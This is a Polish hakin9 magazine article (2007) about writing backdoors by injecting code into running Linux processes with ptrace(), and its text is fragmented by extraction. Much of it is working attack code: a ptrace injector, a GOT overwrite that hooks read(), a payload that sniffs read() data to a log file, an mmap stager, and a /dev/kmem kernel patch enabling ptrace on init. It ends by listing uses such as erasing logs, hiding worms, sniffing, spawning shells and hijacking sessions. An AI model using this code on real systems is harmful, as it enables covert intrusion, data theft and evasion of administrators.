ignorując dostarczony sygnał (al-
bo nawet dostarczając mu inny sy-
gnał).

Gdy proces nadrzędny zakoń-

czy śledzenie, może przerwać pro-
ces potomny przez

PTRACE _ KILL

,

albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym
trybie, przez

PTRACE _ DETACH

. War-

tość podana jako „request ” okre-
śla akcję, jaka ma być podjęta:

PTRACE _ TRACEME

– oznacza, że ten

proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za

SIGKILL

) dostarczony do proce-

su spowoduje zatrzymanie, a pro-
ces nadrzędny będzie notyfikowa-
ny w

wait()

. Również każde na-

stępne wywołanie

exec

...

()

przez

ten proces spowoduje dostarczenie
SIGTRAP, umożliwiając procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać. Proces raczej nie powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie go śledzić (pid, addr i data
są ignorowane). To powyższe żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne tylko przez proces nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż

Listing 1.

Przykładowy ptrace()-owy wstrzykiwacz

#include

<stdio.h>

#include

<stdlib.h>

#include

<unistd.h>

#include

<asm/unistd.h>

#include

<asm/user.h>

#include

<signal.h>

#include

<sys/stat.h>

#include

<sys/wait.h>

#include

<errno.h>

#include

<linux/ptrace.h>

asm

(

"MY_BEGIN:

\n

"

"call para_main

\n

"

);

/* oznaczamy początek kodu pasożyta */

char

*

getstring

(

void

)

{

asm

(

"call me

\n

"

"me:

\n

"

"popl %eax

\n

"

"addl $(MY_END - me), %eax

\n

"

);

}

void

para_main

(

void

)

{

/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/

asm

(

"

\n

"

"movl $1, %eax

\n

"

"movl $31337, %ebx

\n

"

"int $0x80

\n

"

"

\n

"

);

/*

* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/

}

asm

(

"MY_END:"

);

/* tu kończy się zawartość pasożyta */

char

*

GetParasite

(

void

)

/* umieść pasożyta */

{

asm

(

"call me2

\n

"

"me2:

\n

"

"popl %eax

\n

"

"subl $(me2 - MY_BEGIN), %eax

\n

"

"

\n

"

);

}

int

PARA_SIZE

(

void

)

{

asm

(

"movl $(MY_END-MY_BEGIN), %eax

\n

"

);

/* weź rozmiar pasożyta */

}

int

main

(

int

argc

,

char

*

argv

[])

{

int

parasize

;

int

i

,

a

,

pid

;

char

inject

[

8000

];

struct

user_regs_struct

reg

;

printf

(

"

\n

[Przykladowy wtryskiwacz ptrace]

\n

"

);

if

(

argv

[

1

]

==

0

)

{

printf

(

"[usage: %s [pid] ]

\n\n

"

,

argv

[

0

]);

exit

(

1

);

}

pid

=

atoi

(

argv

[

1

]);

parasize

=

PARA_SIZE

();

/* liczymy rozmiar */

while

((

parasize

%

4

)

!=

0

)

parasize

++;

/* tworzymy kod do wstrzyknięcia */

{

memset

(&

inject

,

0

,

sizeof

(

inject

));

memcpy

(

inject

,

GetParasite

()

,

PARA_SIZE

());

if

(

ptrace

(

PTRACE_ATTACH

,

pid

,

0

,

0

)

<

0

)

/* podłącz się do procesu */

{

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

14

PTRACE _ KILL

, proces potomny musi

być zatrzymany.

PTRACE _ PEEKTEXT

,

PTRACE _

PEEKDATA

– czyta słowo spod lo-

kacji addr w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat

ptrace()

. Linux nie umieszcza

segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument

data jest ignorowany).

PTRACE _ PEEKUSR

– czyta sło-

wo spod przesunięcia addr w prze-
strzeni

USER

procesu potomnego,

który trzyma rejestry i inne informa-
cje o procesie (patrz

<linux/user.h>

i

<sys/user.h>

. Słowo jest zwracane

jako rezultat

ptrace()

. Zwykle prze-

sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).

PTRACE _ POKETEXT,

PTRACE _

POKEDATA

– kopiuje słowo spod „da-

ta” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.

PTRACE _ POKEUSR

– kopiuje słowo

z data pod przesunięcie addr w prze-
strzeni

USER

procesu potomnego. Jak

wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyfikacje w obszarze

USER

są nie-

dozwolone.

PTRACE _ GETREGS

,

PTRACE _

GETFPREGS

– kopiuje odpowiednio re-

jestry ogólnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji data w
procesie potomnym. Zobacz

<linux/

user.h>

w celu uzyskania informacji

na temat formatu tych danych (addr
jest ignorowane).

PTRACE _ SETREGS

,

PTRACE _

SETFPREGS

– kopiuje odpowiednio re-

jestry ogólnego przeznaczenia lub
zmiennoprzecinkowe z lokacji data
w procesie nadrzędnym. Podobnie,
jak w

PTRACE _ POKEUSER

, modyfikacja

niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).

PTRACE _ CONT

– wznawia wyko-

nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest

Listing 1a.

Przykładowy ptrace()-owy wstrzykiwacz

Przetestujmy to na terminalu (A):

server

:

~#

gcc

ptrace

.

c

-

W

server

:

~#

nc

-

lp

1111

&

[

1

]

7314

server

:

~# ./

a

.

out

7314

[

Przykladowy

wtryskiwacz

ptrace

]

+

attached

to

proccess

id

:

7314

-

sending

stop

signal

..

+

proccess

stopped

.

-

calculating

parasite

injection

size

..

+

Parasite

is

at

:

0x400fa276

-

detach

..

+

finished

!

server

:

~#

A teraz na terminalu (B), pokażemy strace-m proces Netcat:

gw1

:

~#

strace

-

p

7314

Process

7314

attached

-

interrupt

to

quit

accept(3,

Wracamy na terminal A i podłączamy się pod zainfekowany proces

Netcat:

server

:

~#

nc

-

v

localhost

1111

localhost

[

127.0

.

0.1

]

1111

(

?

)

open

[

1

]+

Exit

105

nc

-

lp

1111

server

:

~#

Sprawd

ź

my

teraz

,

co

napisa

ł

strace

na

terminalu

B

:

accept

(

3

,

{

sa_family

=

AF_INET

,

sin_port

=

htons

(

35261

)

,

sin_addr

=

inet_addr

(

"127.0.0.1"

)

}

,

[

16

])

=

4

_exit

(

31337

)

=

?

Process

7314

detached

server

:

~#

Listing 1b.

Prosty wstrzykiwacz ptrace()

printf

(

"cant attach to pid %d: %s

\n

"

,

pid

,

strerror

(

errno

));

exit

(

1

);

}

printf

(

"+ attached to proccess id: %d

\n

"

,

pid

);

printf

(

"- sending stop signal..

\n

"

);

kill

(

pid

,

SIGSTOP

);

/* zatrzymaj proces*/

waitpid

(

pid

,

NULL

,

WUNTRACED

);

printf

(

"+ proccess stopped.

\n

"

);

ptrace

(

PTRACE_GETREGS

,

pid

,

0

,

&

reg

);

/* pobierz rejestry */

printf

(

"- calculating parasite injection size..

\n

"

);

for

(

i

=

0

;

i

<

parasize

;

i

+=

4

)

/* wrzuć kod pasożyta pod %eip */

{

int

dw

;

memcpy

(&

dw

,

inject

+

i

,

4

);

ptrace

(

PTRACE_POKETEXT

,

pid

,

reg

.

eip

+

i

,

dw

);

}

printf

(

"+ Parasite is at: 0x%x

\n

"

,

reg

.

eip

);

printf

(

"- detach..

\n

"

);

ptrace

(

PTRACE_CONT

,

pid

,

0

,

0

);

/* wznów proces potomny */

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

15

niezerowa i nie

SIGSTOP

, jest inter-

pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny żaden sygnał. W ten sposób,
na przykład, proces potomny mo-
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
rowane).

PTRACE _ SYSCALL

,

PTRACE _ SINGLE

-

STEP

– wznawia wykonywanie zatrzy-

manego procesu potomnego, jak dla

PTRACE _ CONT

, ale zarządza, że pro-

ces potomny będzie zatrzymany od-
powiednio przy następnym wejściu
lub wyjściu z wywołania systemo-
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu nadrzędnego, proces potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie

SIGTRAP

.

Zatem P

TRACE _ SYSCALL

można użyć

w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go

PTRACE _ SYSCALL

i sprawdzamy

wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).

PTRACE _ KILL

– wysyła

SIGKILL

procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).

PTRACE _ ATTACH

– dołącza się do

procesu podanego jako pid, powo-
dując że ten proces staje się śle-
dzonym procesem potomnym dla
bieżącego procesu, czyli tak, jak-
by ten „potomny” proces wyko-
nał

PTRACE _ TRACEME

. Bieżący pro-

ces staje się w istocie procesem
nadrzędnym tego potomnego pro-
cesu dla niektórych zastosowań
(np. będzie dostawał notyfikacje
zdarzeń procesu potomnego i bę-
dzie widoczny w raporcie ps(1) ja-
ko proces nadrzędny tego proce-
su, ale getppid(2) w procesie po-
tomnym będzie wciąż zwracać pid
oryginalnego procesu nadrzędne-
go. Proces potomny dostaje sygnał

SIGSTOP

, ale niekoniecznie zatrzy-

ma się na tym wywołaniu; należy

Listing 3.

Przykład sys_write

int

patched_syscall

(

int

fd

,

char

*

data

,

int

size

)

{

// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)

asm

(

"

movl

$

4

,

%

eax

# oryginalne wywołanie systemowe

movl

$

0x8

(%

esp

)

,

%

ebx

# fd

movl

$

0xc

(%

esp

)

,

%

ecx

# dane

movl

$

0x10

(%

esp

)

,

%

edx

# rozmiar

int

$

0x80

// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym

// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu

// nie wstawiaj instrukcji 'ret' na koniec!

"

)

Listing 2.

Rzut oka na tablicę GOT

[

root

@

hal

/

root

]

# objdump -R /usr/sbin/httpd |grep read

08086

b5c

R_386_GLOB_DAT

ap_server_post_read_config

08086

bd0

R_386_GLOB_DAT

ap_server_pre_read_config

08086

c0c

R_386_GLOB_DAT

ap_threads_per_child

080869

b0

R_386_JUMP_SLOT

fread

08086

b24

R_386_JUMP_SLOT

readdir

08086

b30

R_386_JUMP_SLOT

read

<--

tu

mamy

nasz

ą

read

()

[

root

@

hal

/

root

]

#

Listing 4.

Kod z infektora Ii, znaleziony w internecie, do przydzielania

potrzebnej pamięci

void

infect_code

()

{

asm

(

"

xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
"

);

}

Listing 1c.

Prosty wstrzykiwacz ptrace()

ptrace

(

PTRACE_DETACH

,

pid

,

0

,

0

);

/* odłącz się od procesu */

printf

(

"+ finished!

\n\n

"

);

exit

(

0

);

}

}

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

16

użyć wait() w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).

PTRACE _ DETACH

– wznawia zatrzy-

many proces potomny, jak dla

PTRACE _

CONT

, ale uprzednio odłącza się od

procesu, cofając efekt zmiany rodzi-
ca wywołany przez

PTRACE _ ATTACH

i

efekt wywołania

PTRACE _ TRACEME

. Mi-

mo, że niekoniecznie o to może cho-
dzić, pod Linuksem śledzony proces
potomny może zostać odłączony w
ten sposób, niezależnie od metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).

Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.

Praktyczne

zastosowania

wywołania ptrace()

Zwykle

ptrace()

jest stosowane do

śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją wywołań

ptrace()

do śledzenia

wykonujących się procesów. Jest
parę interesujących i użytecznych

programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.

Czym są pasożyty

Pasożyty są to nie replikowane sa-
modzielnie kody, które wstrzykuje
się do programów przez zainfeko-
wanie ELF-a lub bezpośrednio do
pamięci procesu w czasie jego wy-
konywania, przez

ptrace()

. Główna

różnica zasadza się tu na tym, że in-
fekcja

ptrace()

nie jest rezydentna,

podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez

ptrace()

rezyduje tylko w pamięci,

zatem jeśli proces, na przykład, do-
stanie

SIGKILL

-a, pasożyt wyciągnie

nogi wraz z nim. Ponieważ

ptrace()

jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.

Klasyczne

wstrzyknięcie ptrace()

Ptrace()

potrafi obserwować i kon-

trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
starej dziury

ptrace()

w starym ją-

drze Linuksa.

Jądra Linuxa przed 2.2.19 mia-

ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego

execve()

.

Wstrzymując proces potomny
przez

sleep()

wewnątrz

execve()

,

atakujący może użyć

ptrace()

lub

podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-

tuid, atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych jest też kilka innych pro-
blemów bezpieczeństwa związa-
nych z

ptrace()

w jądrze Linuxa

Rysunek 1.

Ściągnięcie i kompilacja wstrzykiwacza

Listing 5.

Przykład, czego potrzeba do funkcji infect_code()

ptrace

(

PTRACE_GETREGS

,

pid

,

&

reg

,

&

reg

);

ptrace

(

PTRACE_GETREGS

,

pid

,

&

regb

,

&

regb

);

reg

.

esp

-=

4

;

ptrace

(

PTRACE_POKETEXT

,

pid

,

reg

.

esp

,

reg

.

eip

);

ptr

=

start

=

reg

.

esp

-

1024

;

reg

.

eip

=

(

long

)

start

+

2

;

ptrace

(

PTRACE_SETREGS

,

pid

,

&

reg

,

&

reg

);

while

(

i

<

strlen

(

sh_code

))

{

ptrace

(

PTRACE_POKETEXT

,

pid

,

ptr

,

(

int

)

*(

int

*)(

sh_code

+

i

));

i

+=

4

;

ptr

+=

4

;

}

printf

(

"trying to allocate memory

\n

"

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_GETREGS

,

pid

,

&

reg

,

&

reg

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

printf

(

"new memory region mapped to..: 0x%.8lx

\n

"

,

reg

.

eax

);

printf

(

"backing up registers...

\n

"

);

ptrace

(

PTRACE_SETREGS

,

pid

,

&

regb

,

&

regb

);

printf

(

"dynamical mapping complete!

\n

"

,

pid

);

ptrace

(

PTRACE_DETACH

,

pid

,

0

,

0

);

return

reg

.

eax

;

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

17

przed 2.2.19 i po, które oznaczo-
no już jako rozwiązane, ale wielu
administratorów nie założyło jesz-
cze łat, więc te błędy mogą wciąż
istnieć na wielu systemach. Podob-
ny problem istnieje w 2.4.x – sytu-
acja wyścigu w

kernel/kmod.c

, któ-

ry tworzy wątek jądra w sposób na-
rażający bezpieczeństwo.

Ten błąd pozwala

ptrace()

-ować

sklonowane procesy, przez co moż-
na przejąć kontrolę nad uprzywile-
jowanymi binariami. Załączam kod
eksploita na tą dziurę jako Proof

of Concept (patrz Listing 9). To był
drobny przykład, jak użyć

ptrace

()

do poszerzania uprawnień. A, no
cóż, myślę, że na razie mały przy-

kład ze wstrzykiwaniem, i wystar-
czy jak na nasz pierwszy przykła-
dowy kod. Zatem, oto ten przykład,
prosty

ptrace()

-owy wstrzykiwacz

(Listingi 1 i 2).

Jak widać, działa! Dobrze, wystar-

czy jak na tą część. To jest wstrzyki-
wanie przez

ptrace().

Przejdźmy te-

raz do bardziej zaawansowanych
technik związanych z tą funkcją. W ra-
zie wątpliwości, możesz przeczytać
ten artykuł jeszcze raz od początku
i pobawić się z załączonym przykła-
dem, po prostu w celu pełnego zrozu-
mienia, o co w tym chodzi, co jest wy-
magane w pozostałej części artykułu,
jeśli chcesz zrozumieć

ptrace()

.

Nadpisywanie

funkcji przez ptrace()

Ta technika jest nieco bardziej za-
awansowana i takoż użyteczna – nad-
pisywanie funkcji za pomocą ptrace().
Na pierwszy rzut oka wygląda tak sa-
mo, jak wstrzykiwanie przez ptrace(),
ale faktycznie jest trochę inne. Zwykle
wstrzykujemy nasz kod powłokowy do
procesu. Wstawiamy to na stos i zmie-
niamy parę rejestrów. Jest to więc tro-
chę ograniczone i jednorazowego
użytku. Jeśli jednak załatamy wywo-
łania systemowe w przestrzeni jądra,
będzie to jak zaimportowanie dzielo-
nej funkcji, która wykonuje te same
akcje, co prawdziwe wywołanie sys-
temowe. Globalna Tablica Przesunięć
(GOT) podaje nam lokację wywołania
systemowego w pamięci, gdzie bę-
dzie to zamapowane po załadowaniu.
Najprościej można to odczytać przez

objdump, wystarczy wygrepować z te-
go relokację wywołania systemowe-
go. Rzućmy okiem na Listing 2.

Za każdym razem, gdy proces

chce wywołać

read()

, woła adres

POD 08086b30. Pod 08086b30 jest
inny adres, który wskazuje na fak-
tyczną read. Jeśli wpiszesz inny adres
pod 08086b30, następnym razem, jak
proces zawoła

read()

, skoczy zupeł-

nie gdzie indziej. Jeśli zrobisz:

movl $0x08086b30, %eax
movl $0x41414141, (%eax)

to następnym razem, gdy zostanie za-
wołana

read()

, zainfekowany proces

Listing 7a.

Drobna funkcja pobierająca segment kodu docelowego

procesu

int

get_textsegment

(

int

pid

,

int

*

size

)

{

Elf32_Ehdr

ehdr

;

char

buf

[

128

];

FILE

*

input

;

int

i

;

snprintf

(

buf

,

sizeof

(

buf

)

,

"/proc/%d/exe"

,

pid

);

if

(!(

input

=

fopen

(

buf

,

"rb"

)))

return

(-

1

);

if

(

fread

(&

ehdr

,

sizeof

(

Elf32_Ehdr

)

,

1

,

input

)

!=

1

)

Listing 6.

Przykład sniffera read()

#

define

LOGFILE

"/tmp/read.sniffed"

asm

(

"INJECT_PAYLOAD_BEGIN:"

);

int

Inject_read

(

int

fd

,

char

*

data

,

int

size

)

{

asm

(

"

jmp DO
DONT:
popl %esi # pobierz adres pliku logowania
xorl %eax, %eax
movb $3, %al # wywołaj read()
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size
int $0x80
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi
movl $5, %eax # wywolaj open()
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777
int $0x80
movl %eax, %ebx # ebx: fd przez następne dwa wywołania
movl $4, %eax # write() zapis do logu
movl 12(%esp),%ecx # wskaźnik na dane
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80
movl $6, %eax # zgadnij :P
int $0x80
movl %edi, %eax # zwróć %edi
jmp DONE
DO:
call DONT
.ascii

\"

"

LOGFILE

"

\"

.byte 0x00
DONE:
"

);

}

asm

(

"INJECT_P_END:"

);

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

18

naruszy segmentację na 0x41414141.
Uzbrojeni w tą wiedzę możemy pójść
krok dalej. Pomyślmy o możliwo-
ściach, jakie mamy. Ponieważ jeste-
śmy w stanie nadpisać dowolną funk-
cję w locie, możemy wstawiać różne
furtki do uruchomionych procesów.

Możemy całkowicie kontrolować

przepływ wykonania np. daemona,
przejmować wywołania systemowe,
zmieniać wartości zwracane lub lo-
gować dane. Najpierw potrzebujemy
jednak pewnej przestrzeni na furtkę.
Mamy ok. 240 bajtów nieużywanej
przestrzeni pamięci pod 0x8048000.
Przestrzeń ta jest zajmowana przez
nagłówki ELF-a, które nie są używa-
ne podczas wykonywania. Możesz
po prostu zmienić te dane i wrzucić
co ci się podoba do tej przestrzeni
i nic się nie stanie. Zatem zamiast
niszczyć dane przez wstrzykiwanie
ładunku pod

%eip

, możemy wrzucić

to właśnie tam, albo chociaż paso-
żyta inicjatywnego, który zaciągnie
później większego pasożyta.

Przejmowanie

wywołań systemowych

Segment .text zawiera nagłówki pro-
gramu ELF i inne informacje, któ-
re są używane tylko do inicjaliza-
cji. Po załadowaniu procesu, ten
nagłówek jest już nieużywany i mo-
żemy bezpiecznie go nadpisać na-
szym kodem. Do pobrania począt-
kowej pozycji tej sekcji trzeba spraw-
dzić

p _ vaddr

. Sekcja ta ma ustalony

rozmiar; wykonując proste obliczenia
mamy nasz wzór:

największy_możliwy_rozmiar
=sizeof(e_hdr)+sizeof(p_hdr)
*liczba_p_headerów

To mało, ale wystarczy na nasz
schludny kod asemblera. Przy pod-
mienianiu wywołania systemowe-
go powinniśmy zachować oryginal-
ne wywołanie. Naszą implemen-
tację powinniśmy napisać tak, że-
by zachowywała się jak oryginał.
Poniżej przedstawiona jest część
kodu, która nadpisze wybrane wy-
wołanie systemowe wybranego pro-
cesu. Przykład z

sys _ write

jest

pokazany na Listingu 3.

Listing 7b.

Drobna funkcja pobierająca segment kodu docelowego

procesu

goto

end

;

/*

* czytamy nagłówek ELF + kilka kalkulacji
*/

*

size

=

sizeof

(

Elf32_Ehdr

)

+

ehdr

.

e_phnum

*

sizeof

(

Elf32_Phdr

);

if

(

fseek

(

input

,

ehdr

.

e_phoff

,

SEEK_SET

)

!=

0

)

goto

end

;

for

(

i

=

0

;

i

<

ehdr

.

e_phnum

;

i

++)

{

Elf32_Phdr

phdr

;

if

(

fread

(&

phdr

,

sizeof

(

Elf32_Phdr

)

,

1

,

input

)

!=

1

)

goto

end

;

if

(

phdr

.

p_offset

==

0

)

{

fclose

(

input

);

return

phdr

.

p_vaddr

;

}

}

end

:;

fclose

(

input

);

return

(-

1

);

}

/*

Teraz wywołanie naszej funkcji z main()

*/

if

((

textseg

=

get_textsegment

(

pid

,

&

size

))

==

-

1

)

{

fprintf

(

stderr

,

"unable to locate pid %d

\'

s text segment address (%s)

\n

"

,

"

nie

odnaleziono

dla

pid

%

d

\

s

'

adresu

bufora

tekstowego

%

s

\

n

pid

,

strerror

(

errno

));

return

(-

1

);

}

/*

teraz musimy określić rozmiar kodu wstawianego,

* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
*/

if

(

inject_parasite_size

()

>

size

)

{

// validate the size

fprintf

(

stderr

,

"Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"

);

return

(-

1

);

}

/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy

adresów.

objdump twoim przyjacielem, więc można napisać
funkcyjkę, która używa objdump by otrzymać GOT.
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
*/

snprintf

(

buf

,

sizeof

(

buf

)

,

"/proc/%d/exe"

,

pid

);

if

((

readgot

=

got

(

buf

,

"read"

))

<

0

)

{

// grab read's GOT addy

fprintf

(

stderr

,

"Unable to extract read()

\'

s GOT address

\n

"

);

return

(-

1

);

}

/*

wstrzykniecie pasożyta do segmentu kodu

*/

if

(

inject

(

pid

,

textseg

,

inject_parasite_size

()

,

inject_parasite_ptr

())

<

0

)

{

fprintf

(

stderr

,

" Wstrzykniecie nieudane! (%s)

\n

"

,

strerror

(

errno

));

return

(-

1

);

}

/*

nadpisz globalny offset funkcji read w tablicy adresów

*/

if

(

inject

(

pid

,

readgot

,

4

,

(

char

*)

&

textseg

)

<

0

)

{

fprintf

(

stderr

,

" Nieudane wstrzykniecie rekordu GOT! (%s)

\n

"

,

strerror

(

errno

));

return

(-

1

);

}

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

19

Na szczęście nie musimy się

martwić stosem wywołań i zerami
w kodzie; nasze podmienione wy-
wołanie systemowe żyje wewnątrz
procesu i znów, niestety, miejsce na
nasz kod jest ograniczone. Spójrz-
my na informacje, jakie mamy, że-
by skonstruować nasz nadpisywacz
funkcji:

• sam proces i jego ID;
• funkcja, która ma być naszą furt-

ką;

• adres funkcji z Globalnej Tablicy

Przesunięć;

• adres segmentu .text;
• nasza implementacja funkcji furt-

kowej.

Przełamywanie

ograniczenia rozmiaru

Jak powiedziałem, nagłówki ELF
zajmują ok. 244 bajty i to jest za
mało na dużą furtkę, zatem usiło-
wałem wymyślić sposób na zaim-
plementowanie znacznie większej
furtki.

Pierwszym pomysłem jest przy-

dział dynamicznej pamięci:

• wstaw na stos kod, który zama-

puje nowy obszar pamięci (za po-
mocą

mmap()

);

• pobierz wskaźnik do zamapowa-

nej pamięci;

• użyj

inject()

do wstawienia two-

jego kodu do pamięci przydzielo-
nej dynamicznie, ale zamiast ad-
resu segmentu .text użyj zama-
powanej pamięci.

sh_code = malloc(strlen((char*)
infect_code) +4);
strcpy(sh_code,(char *) infect_code);
reg.eax = infect_ptrace(pid);

Żeby zaalokować pamięć bez wyko-
nywania stosu, można lekko zmodyfi-
kować schemat:

• nadpisz pozycję segmentu .text

przez

infect _ code()

. Nie zapo-

mnij dodać oryginalne read.

• odwołaj się do oryginalnego

read()

, po czym zachowaj zwró-

coną wartość. Jeśli np. stawiasz
furtkę na Netcat, należy się

Listing 8a.

Łata na jądro umożliwiająca ptrace() na init

#define _GNU_SOURCE
#include

<asm/unistd.h>

#include

<sys/types.h>

#include

<sys/stat.h>

#include

<unistd.h>

#include

<string.h>

#include

<stdlib.h>

#include

<stdio.h>

#include

<fcntl.h>

int

kmem_fd

;

/* low level utility subroutines */

void

read_kmem

(

off_t

offset

,

void

*

buf

,

size_t

count

)

{

if

(

lseek

(

kmem_fd

,

offset

,

SEEK_SET

)

!=

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

1

);

}

if

(

read

(

kmem_fd

,

buf

,

count

)

!=

(

long

)

count

)

{

perror

(

"read(kmem)"

);

exit

(

2

);

}

}

void

write_kmem

(

off_t

offset

,

void

*

buf

,

size_t

count

)

{

if

(

lseek

(

kmem_fd

,

offset

,

SEEK_SET

)

!=

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

3

);

}

if

(

write

(

kmem_fd

,

buf

,

count

)

!=

(

long

)

count

)

{

perror

(

"write(kmem)"

);

exit

(

4

);

}

}

#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256

int

main

(

void

)

{

int

kmode

,

gcc_ver

;

int

idt

,

int80

,

sct

,

ptrace

;

char

buffer

[

BUFSIZE

]

,

*

p

,

c

;


if

(

(

kmem_fd

=

open

(

"/dev/kmem"

,

O_RDWR

)

)

<

0

)

{

dev_t

kmem_dev

=

makedev

(

1

,

2

);

perror

(

"open(/dev/kmem)"

);

if

(

mknod

(

"/tmp/kmem"

,

0600

|

S_IFCHR

,

kmem_dev

)

<

0

)

{

perror

(

"mknod(/tmp/kmem)"

);

return

(

16

);

}

if

(

(

kmem_fd

=

open

(

"/tmp/kmem"

,

O_RDWR

)

)

<

0

)

{

perror

(

"open(/tmp/kmem)"

);

return

(

17

);

}

unlink

(

"/tmp/kmem"

);

}

asm

(

"sidt %0"

:

"=m"

(

buffer

)

);

idt

=

*(

int

*)(

buffer

+

2

);

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

20

potem podłączyć do niego i wy-
słać jakieś dane, żeby wymusić
zawołanie podmienionego

read()

;

• następnym wywołaniem będzie

mmap()

, które przydzieli pamięć.

Pobierz wartość zwróconą i użyj
jej w

inject()

.

inject()

jest prostą funkcją wstrzy-

kiwania

ptrace()

. Mały przykład,

czego potrzeba do

infect _ code()

po podłączeniu się do procesu,
pokazano na Listingu 5.

Teraz możemy implementować furtki
niemal nieograniczonego rozmiaru,
możemy zatem wstrzykiwać znacz-
nie bardziej zaawansowany kod do
procesu.

Co możemy

Co możemy zrobić uzbrojeni w tą
wiedzę? W sumie jest to to samo, co
standardowe nadpisywanie funkcji
(jeśli jesteś już z tym oswojony), tak
jak używaliśmy

ptrace()

do nadpisa-

nia i wstrzykiwania kodu. Popaprzmy
na parę podstawowych możliwości:

• zmiana wartości zwracanej, np.

udawane wiadomości z loga itp.;

• usuwanie plików (wiadomości z

loga), które mogłyby odkryć IP
atakującego itd.;

• ukrywanie plików, np. wirusów

i robaków, czy zaszyfrowanych
wiadomości w procesie;

• nasłuchiwanie (snifowanie) lub

logowanie komunikacji;

• uruchamianie powłoki do połą-

czenia lub łączenie się w drugą
stronę;

• przejmowanie sesji;
• zmienianie znaczników czasu lub

sum md5.

